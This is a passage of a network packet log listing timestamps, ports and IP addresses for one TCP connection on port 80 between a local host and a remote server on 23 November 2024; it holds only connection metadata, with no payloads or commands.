Nov 23, 2024 20:23:37.234539032 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.234539986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.234555960 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.234596014 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.235469103 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.235496044 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.235512972 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.235522985 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.235559940 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.236315012 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.236366987 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.236387014 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.236402988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.236440897 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.236459017 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.237234116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.237277985 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.237286091 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.237294912 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.237323999 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.237339973 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.238152981 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.238204956 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.238239050 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.238255978 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.238290071 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.238306999 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.239085913 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.239101887 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.239119053 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.239144087 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.239171982 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.239970922 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.240024090 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.240025997 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.240046024 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.240099907 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.240885973 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.240904093 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.240921021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.240937948 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.240948915 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.241787910 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.241825104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.241839886 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.241863966 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.241880894 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.242697001 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.242738962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.242755890 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.242969036 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.243634939 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.243684053 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.243688107 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.243701935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.243860006 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.244524956 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.244569063 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.244576931 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.244585037 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.244607925 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.244628906 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.245472908 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.245529890 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.245543957 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.245560884 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.245593071 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.245605946 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.246381044 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.246433020 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.246433973 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.246448994 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.246486902 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.247267962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.247308016 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.247325897 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.247333050 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.247447014 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.254205942 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.254266024 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.254278898 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.254405975 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.254421949 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.254445076 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.255187035 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.255326986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.255765915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.255794048 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.255808115 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.256685019 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.256701946 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.256719112 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.257592916 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.257636070 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.257651091 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.257942915 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.258102894 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.258663893 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.258733988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.258744001 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.258759022 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.258783102 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.258809090 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.259402037 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.259500027 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.259516001 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.260338068 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.260409117 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.260425091 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.261279106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.261295080 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.261311054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.262149096 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.262165070 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.262181044 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.263076067 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.263115883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.263132095 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.263963938 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.264019012 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.264034986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.264904976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.264921904 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.264938116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.265811920 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.265866995 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.265882015 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.266736031 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.266788960 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.266803980 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.267656088 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.267679930 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.267694950 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.268553019 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.268627882 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.268645048 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.269515991 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.269555092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.269571066 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.270587921 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.270602942 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.270617962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.271267891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.271580935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.271629095 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.271645069 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.272551060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.272566080 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.272583008 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.273435116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.273483038 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.273498058 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.273561001 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.274353027 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.274421930 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.274439096 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.275346994 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.275363922 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.275378942 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.275839090 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.275909901 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.275948048 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.276025057 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.276227951 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.276245117 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.276261091 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.276560068 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.276823044 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.277075052 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.277131081 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.277148962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.278002024 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.278072119 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.278089046 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.278906107 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.278975964 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.278992891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.279838085 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.279884100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.279906034 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.280771017 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.280893087 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.280909061 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.281627893 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.281693935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.281708956 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.282536030 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.282593966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.282609940 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.283463955 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.283544064 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.283560038 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.284418106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.284434080 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.284450054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.285352945 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.285404921 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.285420895 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.285998106 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.286099911 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.286125898 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.286134005 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.286254883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.286271095 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.286286116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.286735058 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.287157059 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.287446976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.287475109 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.287491083 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.287956953 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.288327932 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.288436890 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.288451910 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.289182901 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.289246082 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.289336920 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.289352894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.290153980 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.290214062 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.290230989 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.291074038 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.291125059 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.291140079 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.291558027 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.292031050 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.292098045 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.292114019 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.292906046 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.292958021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.292974949 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.293872118 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.293947935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.293965101 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.294734955 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.294816017 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.294831991 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.295636892 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.295698881 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.295720100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.296570063 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.296608925 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.296627045 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.297485113 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.297547102 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.297563076 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.298374891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.298445940 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.298461914 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.299302101 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.299364090 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.299381018 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.300205946 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.300223112 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.300237894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.301121950 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.301140070 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.301156044 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.302014112 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.302063942 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.302081108 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.302941084 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.303236961 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.303280115 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.303296089 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.304167986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.304217100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.304233074 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.304836035 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.305166006 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.305217028 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.305233002 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.306005001 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.306056976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.306072950 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.306896925 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.306938887 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.306953907 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.307809114 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.307854891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.307872057 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.308726072 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.308784962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.308800936 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.309629917 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.309683084 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.309698105 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.310559988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.310609102 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.310626030 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.311463118 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.311522961 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.311539888 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.312402010 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.312479019 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.312495947 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.313294888 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.313343048 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.313359022 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.314223051 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.314261913 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.314276934 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.315154076 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.315232992 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.315248966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.316042900 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.316087008 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.316102028 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.316953897 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.317001104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.317017078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.317851067 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.317908049 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.317924976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.318769932 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.319080114 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.319124937 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.319139957 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.320023060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.320076942 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.320092916 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.320909977 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.320967913 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.320982933 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.321820974 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.321865082 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.321882010 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.322721958 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.322773933 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.322788954 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.323627949 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.323646069 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.323662043 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.324544907 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.324608088 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.324623108 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.325459957 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.325506926 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.325525045 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.326422930 CET	80	49827	185.215.113.16	192.168.2.4
